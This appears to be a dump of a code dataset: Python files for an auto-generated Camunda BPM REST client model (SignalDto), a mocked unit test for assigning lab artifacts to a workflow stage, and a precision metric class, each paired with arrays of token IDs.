18696,
353,
3181,
29918,
3149,
3032,
1171,
361,
1025,
29889,
29873,
574,
296,
29918,
3493,
29898,
1117,
29918,
3149,
29897,
13,
4706,
565,
1583,
3032,
275,
29918,
22350,
29901,
13,
9651,
736,
18696,
29889,
22350,
29918,
1958,
580,
13,
4706,
620,
29884,
353,
18696,
29889,
1300,
14143,
29898,
978,
29922,
1311,
3032,
978,
29892,
5683,
29916,
29918,
978,
29922,
1311,
3032,
25694,
29918,
978,
29897,
13,
4706,
363,
3515,
29892,
752,
297,
1583,
3032,
14036,
29889,
7076,
7295,
13,
9651,
752,
29918,
690,
29884,
353,
620,
29884,
29889,
1202,
29918,
2388,
29898,
2557,
29889,
271,
29898,
3149,
876,
13,
9651,
363,
1399,
29892,
659,
297,
752,
3032,
2388,
29889,
7076,
7295,
13,
18884,
752,
29918,
690,
29884,
3032,
2388,
29961,
513,
29962,
353,
659,
29898,
3149,
29897,
13,
4706,
736,
620,
29884,
13,
2
] |
openapi-python-client/openapi_client/models/signal_dto.py | yanavasileva/camunda-bpm-examples | 0 | 95472 | # coding: utf-8
"""
Camunda BPM REST API
OpenApi Spec for Camunda BPM REST API. # noqa: E501
The version of the OpenAPI document: 7.13.0
Generated by: https://openapi-generator.tech
"""
import pprint
import re # noqa: F401
import six
from openapi_client.configuration import Configuration
class SignalDto(object):
"""NOTE: This class is auto generated by OpenAPI Generator.
Ref: https://openapi-generator.tech
Do not edit the class manually.
"""
"""
Attributes:
openapi_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
openapi_types = {
'name': 'str',
'execution_id': 'str',
'variables': 'dict(str, VariableValueDto)',
'tenant_id': 'str',
'without_tenant_id': 'bool'
}
attribute_map = {
'name': 'name',
'execution_id': 'executionId',
'variables': 'variables',
'tenant_id': 'tenantId',
'without_tenant_id': 'withoutTenantId'
}
def __init__(self, name=None, execution_id=None, variables=None, tenant_id=None, without_tenant_id=None, local_vars_configuration=None): # noqa: E501
"""SignalDto - a model defined in OpenAPI""" # noqa: E501
if local_vars_configuration is None:
local_vars_configuration = Configuration()
self.local_vars_configuration = local_vars_configuration
self._name = None
self._execution_id = None
self._variables = None
self._tenant_id = None
self._without_tenant_id = None
self.discriminator = None
if name is not None:
self.name = name
if execution_id is not None:
self.execution_id = execution_id
if variables is not None:
self.variables = variables
if tenant_id is not None:
self.tenant_id = tenant_id
self.without_tenant_id = without_tenant_id
@property
def name(self):
"""Gets the name of this SignalDto. # noqa: E501
The name of the signal to deliver. **Note**: This property is mandatory. # noqa: E501
:return: The name of this SignalDto. # noqa: E501
:rtype: str
"""
return self._name
@name.setter
def name(self, name):
"""Sets the name of this SignalDto.
The name of the signal to deliver. **Note**: This property is mandatory. # noqa: E501
:param name: The name of this SignalDto. # noqa: E501
:type: str
"""
self._name = name
@property
def execution_id(self):
"""Gets the execution_id of this SignalDto. # noqa: E501
Optionally specifies a single execution which is notified by the signal. **Note**: If no execution id is defined the signal is broadcasted to all subscribed handlers. # noqa: E501
:return: The execution_id of this SignalDto. # noqa: E501
:rtype: str
"""
return self._execution_id
@execution_id.setter
def execution_id(self, execution_id):
"""Sets the execution_id of this SignalDto.
Optionally specifies a single execution which is notified by the signal. **Note**: If no execution id is defined the signal is broadcasted to all subscribed handlers. # noqa: E501
:param execution_id: The execution_id of this SignalDto. # noqa: E501
:type: str
"""
self._execution_id = execution_id
@property
def variables(self):
"""Gets the variables of this SignalDto. # noqa: E501
A JSON object containing variable key-value pairs. Each key is a variable name and each value a JSON variable value object. # noqa: E501
:return: The variables of this SignalDto. # noqa: E501
:rtype: dict(str, VariableValueDto)
"""
return self._variables
@variables.setter
def variables(self, variables):
"""Sets the variables of this SignalDto.
A JSON object containing variable key-value pairs. Each key is a variable name and each value a JSON variable value object. # noqa: E501
:param variables: The variables of this SignalDto. # noqa: E501
:type: dict(str, VariableValueDto)
"""
self._variables = variables
@property
def tenant_id(self):
"""Gets the tenant_id of this SignalDto. # noqa: E501
Specifies a tenant to deliver the signal. The signal can only be received on executions or process definitions which belongs to the given tenant. **Note**: Cannot be used in combination with executionId. # noqa: E501
:return: The tenant_id of this SignalDto. # noqa: E501
:rtype: str
"""
return self._tenant_id
@tenant_id.setter
def tenant_id(self, tenant_id):
"""Sets the tenant_id of this SignalDto.
Specifies a tenant to deliver the signal. The signal can only be received on executions or process definitions which belongs to the given tenant. **Note**: Cannot be used in combination with executionId. # noqa: E501
:param tenant_id: The tenant_id of this SignalDto. # noqa: E501
:type: str
"""
self._tenant_id = tenant_id
@property
def without_tenant_id(self):
"""Gets the without_tenant_id of this SignalDto. # noqa: E501
If true the signal can only be received on executions or process definitions which belongs to no tenant. Value may not be false as this is the default behavior. **Note**: Cannot be used in combination with `executionId`. # noqa: E501
:return: The without_tenant_id of this SignalDto. # noqa: E501
:rtype: bool
"""
return self._without_tenant_id
@without_tenant_id.setter
def without_tenant_id(self, without_tenant_id):
"""Sets the without_tenant_id of this SignalDto.
If true the signal can only be received on executions or process definitions which belongs to no tenant. Value may not be false as this is the default behavior. **Note**: Cannot be used in combination with `executionId`. # noqa: E501
:param without_tenant_id: The without_tenant_id of this SignalDto. # noqa: E501
:type: bool
"""
self._without_tenant_id = without_tenant_id
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.openapi_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, SignalDto):
return False
return self.to_dict() == other.to_dict()
def __ne__(self, other):
"""Returns true if both objects are not equal"""
if not isinstance(other, SignalDto):
return True
return self.to_dict() != other.to_dict()
| [
1,
396,
14137,
29901,
23616,
29899,
29947,
13,
13,
15945,
29908,
13,
1678,
5500,
8917,
350,
13427,
16759,
3450,
13,
13,
1678,
4673,
11713,
12048,
363,
5500,
8917,
350,
13427,
16759,
3450,
29889,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
13,
1678,
450,
1873,
310,
278,
4673,
8787,
1842,
29901,
29871,
29955,
29889,
29896,
29941,
29889,
29900,
13,
1678,
3251,
630,
491,
29901,
2045,
597,
3150,
2754,
29899,
27959,
29889,
11345,
13,
15945,
29908,
13,
13,
13,
5215,
282,
2158,
13,
5215,
337,
29871,
396,
694,
25621,
29901,
383,
29946,
29900,
29896,
13,
13,
5215,
4832,
13,
13,
3166,
1722,
2754,
29918,
4645,
29889,
13305,
1053,
20999,
13,
13,
13,
1990,
9954,
284,
29928,
517,
29898,
3318,
1125,
13,
1678,
9995,
12256,
29923,
29901,
910,
770,
338,
4469,
5759,
491,
4673,
8787,
3251,
1061,
29889,
13,
1678,
9897,
29901,
2045,
597,
3150,
2754,
29899,
27959,
29889,
11345,
13,
13,
1678,
1938,
451,
3863,
278,
770,
7522,
29889,
13,
1678,
9995,
13,
13,
1678,
9995,
13,
1678,
6212,
5026,
29901,
13,
418,
1722,
2754,
29918,
8768,
313,
8977,
1125,
450,
1820,
338,
5352,
1024,
13,
462,
9651,
322,
278,
995,
338,
5352,
1134,
29889,
13,
418,
5352,
29918,
1958,
313,
8977,
1125,
450,
1820,
338,
5352,
1024,
13,
462,
9651,
322,
278,
995,
338,
4390,
1820,
297,
5023,
29889,
13,
1678,
9995,
13,
1678,
1722,
2754,
29918,
8768,
353,
426,
13,
4706,
525,
978,
2396,
525,
710,
742,
13,
4706,
525,
22256,
29918,
333,
2396,
525,
710,
742,
13,
4706,
525,
20897,
2396,
525,
8977,
29898,
710,
29892,
28736,
1917,
29928,
517,
29897,
742,
13,
4706,
525,
841,
424,
29918,
333,
2396,
525,
710,
742,
13,
4706,
525,
14037,
29918,
841,
424,
29918,
333,
2396,
525,
11227,
29915,
13,
1678,
500,
13,
13,
1678,
5352,
29918,
1958,
353,
426,
13,
4706,
525,
978,
2396,
525,
978,
742,
13,
4706,
525,
22256,
29918,
333,
2396,
525,
22256,
1204,
742,
13,
4706,
525,
20897,
2396,
525,
20897,
742,
13,
4706,
525,
841,
424,
29918,
333,
2396,
525,
841,
424,
1204,
742,
13,
4706,
525,
14037,
29918,
841,
424,
29918,
333,
2396,
525,
14037,
29911,
27153,
1204,
29915,
13,
1678,
500,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
1024,
29922,
8516,
29892,
8225,
29918,
333,
29922,
8516,
29892,
3651,
29922,
8516,
29892,
3006,
424,
29918,
333,
29922,
8516,
29892,
1728,
29918,
841,
424,
29918,
333,
29922,
8516,
29892,
1887,
29918,
16908,
29918,
13305,
29922,
8516,
1125,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
4706,
9995,
10140,
284,
29928,
517,
448,
263,
1904,
3342,
297,
4673,
8787,
15945,
29908,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
4706,
565,
1887,
29918,
16908,
29918,
13305,
338,
6213,
29901,
13,
9651,
1887,
29918,
16908,
29918,
13305,
353,
20999,
580,
13,
4706,
1583,
29889,
2997,
29918,
16908,
29918,
13305,
353,
1887,
29918,
16908,
29918,
13305,
13,
13,
4706,
1583,
3032,
978,
353,
6213,
13,
4706,
1583,
3032,
22256,
29918,
333,
353,
6213,
13,
4706,
1583,
3032,
20897,
353,
6213,
13,
4706,
1583,
3032,
841,
424,
29918,
333,
353,
6213,
13,
4706,
1583,
3032,
14037,
29918,
841,
424,
29918,
333,
353,
6213,
13,
4706,
1583,
29889,
2218,
29883,
20386,
1061,
353,
6213,
13,
13,
4706,
565,
1024,
338,
451,
6213,
29901,
13,
9651,
1583,
29889,
978,
353,
1024,
13,
4706,
565,
8225,
29918,
333,
338,
451,
6213,
29901,
13,
9651,
1583,
29889,
22256,
29918,
333,
353,
8225,
29918,
333,
13,
4706,
565,
3651,
338,
451,
6213,
29901,
13,
9651,
1583,
29889,
20897,
353,
3651,
13,
4706,
565,
3006,
424,
29918,
333,
338,
451,
6213,
29901,
13,
9651,
1583,
29889,
841,
424,
29918,
333,
353,
3006,
424,
29918,
333,
13,
4706,
1583,
29889,
14037,
29918,
841,
424,
29918,
333,
353,
1728,
29918,
841,
424,
29918,
333,
13,
13,
1678,
732,
6799,
13,
1678,
822,
1024,
29898,
1311,
1125,
13,
4706,
9995,
29954,
1691,
278,
1024,
310,
445,
9954,
284,
29928,
517,
29889,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
13,
4706,
450,
1024,
310,
278,
7182,
304,
12021,
29889,
29871,
3579,
9842,
1068,
29901,
910,
2875,
338,
9619,
7606,
29889,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
13,
4706,
584,
2457,
29901,
450,
1024,
310,
445,
9954,
284,
29928,
517,
29889,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
4706,
584,
29878,
1853,
29901,
851,
13,
4706,
9995,
13,
4706,
736,
1583,
3032,
978,
13,
13,
1678,
732,
978,
29889,
842,
357,
13,
1678,
822,
1024,
29898,
1311,
29892,
1024,
1125,
13,
4706,
9995,
29903,
1691,
278,
1024,
310,
445,
9954,
284,
29928,
517,
29889,
13,
13,
4706,
450,
1024,
310,
278,
7182,
304,
12021,
29889,
29871,
3579,
9842,
1068,
29901,
910,
2875,
338,
9619,
7606,
29889,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
13,
4706,
584,
3207,
1024,
29901,
450,
1024,
310,
445,
9954,
284,
29928,
517,
29889,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
4706,
584,
1853,
29901,
851,
13,
4706,
9995,
13,
13,
4706,
1583,
3032,
978,
353,
1024,
13,
13,
1678,
732,
6799,
13,
1678,
822,
8225,
29918,
333,
29898,
1311,
1125,
13,
4706,
9995,
29954,
1691,
278,
8225,
29918,
333,
310,
445,
9954,
284,
29928,
517,
29889,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
13,
4706,
10831,
635,
1580,
11057,
263,
2323,
8225,
607,
338,
451,
2164,
491,
278,
7182,
29889,
29871,
3579,
9842,
1068,
29901,
960,
694,
8225,
1178,
338,
3342,
278,
7182,
338,
12672,
287,
304,
599,
21696,
2580,
25795,
29889,
259,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
13,
4706,
584,
2457,
29901,
450,
8225,
29918,
333,
310,
445,
9954,
284,
29928,
517,
29889,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
4706,
584,
29878,
1853,
29901,
851,
13,
4706,
9995,
13,
4706,
736,
1583,
3032,
22256,
29918,
333,
13,
13,
1678,
732,
22256,
29918,
333,
29889,
842,
357,
13,
1678,
822,
8225,
29918,
333,
29898,
1311,
29892,
8225,
29918,
333,
1125,
13,
4706,
9995,
29903,
1691,
278,
8225,
29918,
333,
310,
445,
9954,
284,
29928,
517,
29889,
13,
13,
4706,
10831,
635,
1580,
11057,
263,
2323,
8225,
607,
338,
451,
2164,
491,
278,
7182,
29889,
29871,
3579,
9842,
1068,
29901,
960,
694,
8225,
1178,
338,
3342,
278,
7182,
338,
12672,
287,
304,
599,
21696,
2580,
25795,
29889,
259,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
13,
4706,
584,
3207,
8225,
29918,
333,
29901,
450,
8225,
29918,
333,
310,
445,
9954,
284,
29928,
517,
29889,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
4706,
584,
1853,
29901,
851,
13,
4706,
9995,
13,
13,
4706,
1583,
3032,
22256,
29918,
333,
353,
8225,
29918,
333,
13,
13,
1678,
732,
6799,
13,
1678,
822,
3651,
29898,
1311,
1125,
13,
4706,
9995,
29954,
1691,
278,
3651,
310,
445,
9954,
284,
29928,
517,
29889,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
13,
4706,
319,
4663,
1203,
6943,
2286,
1820,
29899,
1767,
11000,
29889,
7806,
1820,
338,
263,
2286,
1024,
322,
1269,
995,
263,
4663,
2286,
995,
1203,
29889,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
13,
4706,
584,
2457,
29901,
450,
3651,
310,
445,
9954,
284,
29928,
517,
29889,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
4706,
584,
29878,
1853,
29901,
9657,
29898,
710,
29892,
28736,
1917,
29928,
517,
29897,
13,
4706,
9995,
13,
4706,
736,
1583,
3032,
20897,
13,
13,
1678,
732,
20897,
29889,
842,
357,
13,
1678,
822,
3651,
29898,
1311,
29892,
3651,
1125,
13,
4706,
9995,
29903,
1691,
278,
3651,
310,
445,
9954,
284,
29928,
517,
29889,
13,
13,
4706,
319,
4663,
1203,
6943,
2286,
1820,
29899,
1767,
11000,
29889,
7806,
1820,
338,
263,
2286,
1024,
322,
1269,
995,
263,
4663,
2286,
995,
1203,
29889,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
13,
4706,
584,
3207,
3651,
29901,
450,
3651,
310,
445,
9954,
284,
29928,
517,
29889,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
4706,
584,
1853,
29901,
9657,
29898,
710,
29892,
28736,
1917,
29928,
517,
29897,
13,
4706,
9995,
13,
13,
4706,
1583,
3032,
20897,
353,
3651,
13,
13,
1678,
732,
6799,
13,
1678,
822,
3006,
424,
29918,
333,
29898,
1311,
1125,
13,
4706,
9995,
29954,
1691,
278,
3006,
424,
29918,
333,
310,
445,
9954,
284,
29928,
517,
29889,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
13,
4706,
12048,
11057,
263,
3006,
424,
304,
12021,
278,
7182,
29889,
450,
7182,
508,
871,
367,
4520,
373,
8225,
29879,
470,
1889,
15848,
607,
14393,
304,
278,
2183,
3006,
424,
29889,
29871,
3579,
9842,
1068,
29901,
15808,
367,
1304,
297,
10296,
411,
8225,
1204,
29889,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
13,
4706,
584,
2457,
29901,
450,
3006,
424,
29918,
333,
310,
445,
9954,
284,
29928,
517,
29889,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
4706,
584,
29878,
1853,
29901,
851,
13,
4706,
9995,
13,
4706,
736,
1583,
3032,
841,
424,
29918,
333,
13,
13,
1678,
732,
841,
424,
29918,
333,
29889,
842,
357,
13,
1678,
822,
3006,
424,
29918,
333,
29898,
1311,
29892,
3006,
424,
29918,
333,
1125,
13,
4706,
9995,
29903,
1691,
278,
3006,
424,
29918,
333,
310,
445,
9954,
284,
29928,
517,
29889,
13,
13,
4706,
12048,
11057,
263,
3006,
424,
304,
12021,
278,
7182,
29889,
450,
7182,
508,
871,
367,
4520,
373,
8225,
29879,
470,
1889,
15848,
607,
14393,
304,
278,
2183,
3006,
424,
29889,
29871,
3579,
9842,
1068,
29901,
15808,
367,
1304,
297,
10296,
411,
8225,
1204,
29889,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
13,
4706,
584,
3207,
3006,
424,
29918,
333,
29901,
450,
3006,
424,
29918,
333,
310,
445,
9954,
284,
29928,
517,
29889,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
4706,
584,
1853,
29901,
851,
13,
4706,
9995,
13,
13,
4706,
1583,
3032,
841,
424,
29918,
333,
353,
3006,
424,
29918,
333,
13,
13,
1678,
732,
6799,
13,
1678,
822,
1728,
29918,
841,
424,
29918,
333,
29898,
1311,
1125,
13,
4706,
9995,
29954,
1691,
278,
1728,
29918,
841,
424,
29918,
333,
310,
445,
9954,
284,
29928,
517,
29889,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
13,
4706,
960,
1565,
278,
7182,
508,
871,
367,
4520,
373,
8225,
29879,
470,
1889,
15848,
607,
14393,
304,
694,
3006,
424,
29889,
7865,
1122,
451,
367,
2089,
408,
445,
338,
278,
2322,
6030,
29889,
29871,
3579,
9842,
1068,
29901,
15808,
367,
1304,
297,
10296,
411,
421,
22256,
1204,
1412,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
13,
4706,
584,
2457,
29901,
450,
1728,
29918,
841,
424,
29918,
333,
310,
445,
9954,
284,
29928,
517,
29889,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
4706,
584,
29878,
1853,
29901,
6120,
13,
4706,
9995,
13,
4706,
736,
1583,
3032,
14037,
29918,
841,
424,
29918,
333,
13,
13,
1678,
732,
14037,
29918,
841,
424,
29918,
333,
29889,
842,
357,
13,
1678,
822,
1728,
29918,
841,
424,
29918,
333,
29898,
1311,
29892,
1728,
29918,
841,
424,
29918,
333,
1125,
13,
4706,
9995,
29903,
1691,
278,
1728,
29918,
841,
424,
29918,
333,
310,
445,
9954,
284,
29928,
517,
29889,
13,
13,
4706,
960,
1565,
278,
7182,
508,
871,
367,
4520,
373,
8225,
29879,
470,
1889,
15848,
607,
14393,
304,
694,
3006,
424,
29889,
7865,
1122,
451,
367,
2089,
408,
445,
338,
278,
2322,
6030,
29889,
29871,
3579,
9842,
1068,
29901,
15808,
367,
1304,
297,
10296,
411,
421,
22256,
1204,
1412,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
13,
4706,
584,
3207,
1728,
29918,
841,
424,
29918,
333,
29901,
450,
1728,
29918,
841,
424,
29918,
333,
310,
445,
9954,
284,
29928,
517,
29889,
29871,
396,
694,
25621,
29901,
382,
29945,
29900,
29896,
13,
4706,
584,
1853,
29901,
6120,
13,
4706,
9995,
13,
13,
4706,
1583,
3032,
14037,
29918,
841,
424,
29918,
333,
353,
1728,
29918,
841,
424,
29918,
333,
13,
13,
1678,
822,
304,
29918,
8977,
29898,
1311,
1125,
13,
4706,
9995,
11609,
29879,
278,
1904,
4426,
408,
263,
9657,
15945,
29908,
13,
4706,
1121,
353,
6571,
13,
13,
4706,
363,
12421,
29892,
903,
297,
4832,
29889,
1524,
7076,
29898,
1311,
29889,
3150,
2754,
29918,
8768,
1125,
13,
9651,
995,
353,
679,
5552,
29898,
1311,
29892,
12421,
29897,
13,
9651,
565,
338,
8758,
29898,
1767,
29892,
1051,
1125,
13,
18884,
1121,
29961,
5552,
29962,
353,
1051,
29898,
1958,
29898,
13,
462,
1678,
14013,
921,
29901,
921,
29889,
517,
29918,
8977,
580,
565,
756,
5552,
29898,
29916,
29892,
376,
517,
29918,
8977,
1159,
1683,
921,
29892,
13,
462,
1678,
995,
13,
462,
876,
13,
9651,
25342,
756,
5552,
29898,
1767,
29892,
376,
517,
29918,
8977,
29908,
1125,
13,
18884,
1121,
29961,
5552,
29962,
353,
995,
29889,
517,
29918,
8977,
580,
13,
9651,
25342,
338,
8758,
29898,
1767,
29892,
9657,
1125,
13,
18884,
1121,
29961,
5552,
29962,
353,
9657,
29898,
1958,
29898,
13,
462,
1678,
14013,
2944,
29901,
313,
667,
29961,
29900,
1402,
2944,
29961,
29896,
1822,
517,
29918,
8977,
3101,
13,
462,
1678,
565,
756,
5552,
29898,
667,
29961,
29896,
1402,
376,
517,
29918,
8977,
1159,
1683,
2944,
29892,
13,
462,
1678,
995,
29889,
7076,
580,
13,
462,
876,
13,
9651,
1683,
29901,
13,
18884,
1121,
29961,
5552,
29962,
353,
995,
13,
13,
4706,
736,
1121,
13,
13,
1678,
822,
304,
29918,
710,
29898,
1311,
1125,
13,
4706,
9995,
11609,
29879,
278,
1347,
8954,
310,
278,
1904,
15945,
29908,
13,
4706,
736,
282,
2158,
29889,
29886,
4830,
29898,
1311,
29889,
517,
29918,
8977,
3101,
13,
13,
1678,
822,
4770,
276,
558,
12035,
1311,
1125,
13,
4706,
9995,
2831,
421,
2158,
29952,
322,
421,
407,
29878,
524,
29952,
15945,
29908,
13,
4706,
736,
1583,
29889,
517,
29918,
710,
580,
13,
13,
1678,
822,
4770,
1837,
12035,
1311,
29892,
916,
1125,
13,
4706,
9995,
11609,
29879,
1565,
565,
1716,
3618,
526,
5186,
15945,
29908,
13,
4706,
565,
451,
338,
8758,
29898,
1228,
29892,
9954,
284,
29928,
517,
1125,
13,
9651,
736,
7700,
13,
13,
4706,
736,
1583,
29889,
517,
29918,
8977,
580,
1275,
916,
29889,
517,
29918,
8977,
580,
13,
13,
1678,
822,
4770,
484,
12035,
1311,
29892,
916,
1125,
13,
4706,
9995,
11609,
29879,
1565,
565,
1716,
3618,
526,
451,
5186,
15945,
29908,
13,
4706,
565,
451,
338,
8758,
29898,
1228,
29892,
9954,
284,
29928,
517,
1125,
13,
9651,
736,
5852,
13,
13,
4706,
736,
1583,
29889,
517,
29918,
8977,
580,
2804,
916,
29889,
517,
29918,
8977,
580,
13,
2
] |
tests/test_assign_to_workflow_stage.py | EdinburghGenomics/clarity_scripts | 2 | 84964 | from unittest.mock import Mock, patch, PropertyMock
from EPPs.common import StepEPP
from scripts import assign_to_workflow_stage
from tests.test_common import fake_all_inputs, TestEPP
class TestAssignWorkflowStage(TestEPP):
def setUp(self):
argv = self.default_argv + [
'--workflow', 'a_workflow_name',
'--stage', 'a_stage_name',
'--source', 'submitted'
]
self.epp = assign_to_workflow_stage.AssignWorkflowStage(argv)
self.epp2 = assign_to_workflow_stage.AssignWorkflowStage(argv + ['--only_once'])
@patch.object(StepEPP, 'lims', new_callable=PropertyMock)
@patch('scripts.assign_to_workflow_stage.get_workflow_stage', return_value=Mock(uri='a_uri'))
def test_assign(self, mocked_workflow_stage, mocked_lims):
with patch.object(StepEPP, 'process', new_callable=PropertyMock(return_value=Mock(all_inputs=fake_all_inputs))):
self.epp._run()
mocked_workflow_stage.assert_called_with(self.epp.lims, self.epp.workflow_name, 'a_stage_name')
exp_artifacts = ['a1', 'a2']
assert sorted([a.id for a in self.epp.lims.route_artifacts.call_args[0][0]]) == exp_artifacts
assert self.epp.lims.route_artifacts.call_args[1] == {'stage_uri': 'a_uri'}
mocked_workflow_stage.reset_mock()
mocked_lims.reset_mock()
self.epp2._run()
mocked_workflow_stage.assert_called_with(self.epp2.lims, self.epp2.workflow_name, 'a_stage_name')
assert self.epp2.lims.route_artifacts.call_count == 0
| [
1,
515,
443,
27958,
29889,
17640,
1053,
26297,
29892,
13261,
29892,
9079,
18680,
13,
3166,
16502,
29925,
29879,
29889,
9435,
1053,
16696,
15488,
29925,
13,
3166,
12078,
1053,
3566,
29918,
517,
29918,
1287,
1731,
29918,
19190,
13,
3166,
6987,
29889,
1688,
29918,
9435,
1053,
25713,
29918,
497,
29918,
2080,
29879,
29892,
4321,
15488,
29925,
13,
13,
13,
1990,
4321,
7900,
647,
5531,
1731,
27276,
29898,
3057,
15488,
29925,
1125,
13,
1678,
822,
731,
3373,
29898,
1311,
1125,
13,
4706,
1852,
29894,
353,
1583,
29889,
4381,
29918,
19218,
718,
518,
13,
9651,
525,
489,
1287,
1731,
742,
525,
29874,
29918,
1287,
1731,
29918,
978,
742,
13,
9651,
525,
489,
19190,
742,
525,
29874,
29918,
19190,
29918,
978,
742,
13,
9651,
525,
489,
4993,
742,
525,
1491,
29885,
4430,
29915,
13,
4706,
4514,
13,
4706,
1583,
29889,
29872,
407,
353,
3566,
29918,
517,
29918,
1287,
1731,
29918,
19190,
29889,
7900,
647,
5531,
1731,
27276,
29898,
19218,
29897,
13,
4706,
1583,
29889,
29872,
407,
29906,
353,
3566,
29918,
517,
29918,
1287,
1731,
29918,
19190,
29889,
7900,
647,
5531,
1731,
27276,
29898,
19218,
718,
6024,
489,
6194,
29918,
10646,
11287,
13,
13,
1678,
732,
5041,
29889,
3318,
29898,
14448,
15488,
29925,
29892,
525,
2576,
29879,
742,
716,
29918,
4804,
519,
29922,
4854,
18680,
29897,
13,
1678,
732,
5041,
877,
16713,
29889,
16645,
29918,
517,
29918,
1287,
1731,
29918,
19190,
29889,
657,
29918,
1287,
1731,
29918,
19190,
742,
736,
29918,
1767,
29922,
18680,
29898,
5338,
2433,
29874,
29918,
5338,
8785,
13,
1678,
822,
1243,
29918,
16645,
29898,
1311,
29892,
11187,
287,
29918,
1287,
1731,
29918,
19190,
29892,
11187,
287,
29918,
2576,
29879,
1125,
13,
4706,
411,
13261,
29889,
3318,
29898,
14448,
15488,
29925,
29892,
525,
5014,
742,
716,
29918,
4804,
519,
29922,
4854,
18680,
29898,
2457,
29918,
1767,
29922,
18680,
29898,
497,
29918,
2080,
29879,
29922,
29888,
1296,
29918,
497,
29918,
2080,
29879,
876,
1125,
13,
9651,
1583,
29889,
29872,
407,
3032,
3389,
580,
13,
9651,
11187,
287,
29918,
1287,
1731,
29918,
19190,
29889,
9294,
29918,
13998,
29918,
2541,
29898,
1311,
29889,
29872,
407,
29889,
2576,
29879,
29892,
1583,
29889,
29872,
407,
29889,
1287,
1731,
29918,
978,
29892,
525,
29874,
29918,
19190,
29918,
978,
1495,
13,
9651,
1518,
29918,
8813,
29879,
353,
6024,
29874,
29896,
742,
525,
29874,
29906,
2033,
13,
13,
9651,
4974,
12705,
4197,
29874,
29889,
333,
363,
263,
297,
1583,
29889,
29872,
407,
29889,
2576,
29879,
29889,
13134,
29918,
8813,
29879,
29889,
4804,
29918,
5085,
29961,
29900,
3816,
29900,
24960,
1275,
1518,
29918,
8813,
29879,
13,
9651,
4974,
1583,
29889,
29872,
407,
29889,
2576,
29879,
29889,
13134,
29918,
8813,
29879,
29889,
4804,
29918,
5085,
29961,
29896,
29962,
1275,
11117,
19190,
29918,
5338,
2396,
525,
29874,
29918,
5338,
10827,
13,
13,
9651,
11187,
287,
29918,
1287,
1731,
29918,
19190,
29889,
12071,
29918,
17640,
580,
13,
9651,
11187,
287,
29918,
2576,
29879,
29889,
12071,
29918,
17640,
580,
13,
13,
9651,
1583,
29889,
29872,
407,
29906,
3032,
3389,
580,
13,
9651,
11187,
287,
29918,
1287,
1731,
29918,
19190,
29889,
9294,
29918,
13998,
29918,
2541,
29898,
1311,
29889,
29872,
407,
29906,
29889,
2576,
29879,
29892,
1583,
29889,
29872,
407,
29906,
29889,
1287,
1731,
29918,
978,
29892,
525,
29874,
29918,
19190,
29918,
978,
1495,
13,
9651,
4974,
1583,
29889,
29872,
407,
29906,
29889,
2576,
29879,
29889,
13134,
29918,
8813,
29879,
29889,
4804,
29918,
2798,
1275,
29871,
29900,
13,
2
] |
src/metrics/precision.py | Jud1cator/training-pipeline | 0 | 193150 | <reponame>Jud1cator/training-pipeline<filename>src/metrics/precision.py
import numpy as np
from src.metrics.abstract_metric import AbstractMetric
class Precision(AbstractMetric):
def __init__(self):
super().__init__()
def get_value(self, confusion_matrix: np.ndarray):
return np.mean(np.nan_to_num(np.diag(confusion_matrix) / confusion_matrix.sum(axis=0)))
| [
1,
529,
276,
1112,
420,
29958,
29967,
566,
29896,
29883,
1061,
29914,
26495,
29899,
13096,
5570,
29966,
9507,
29958,
4351,
29914,
2527,
10817,
29914,
17990,
2459,
29889,
2272,
13,
5215,
12655,
408,
7442,
13,
13,
3166,
4765,
29889,
2527,
10817,
29889,
16595,
29918,
16414,
1053,
25513,
10095,
2200,
13,
13,
13,
1990,
349,
3757,
2459,
29898,
9118,
10095,
2200,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
2428,
2141,
1649,
2344,
1649,
580,
13,
13,
1678,
822,
679,
29918,
1767,
29898,
1311,
29892,
14679,
29918,
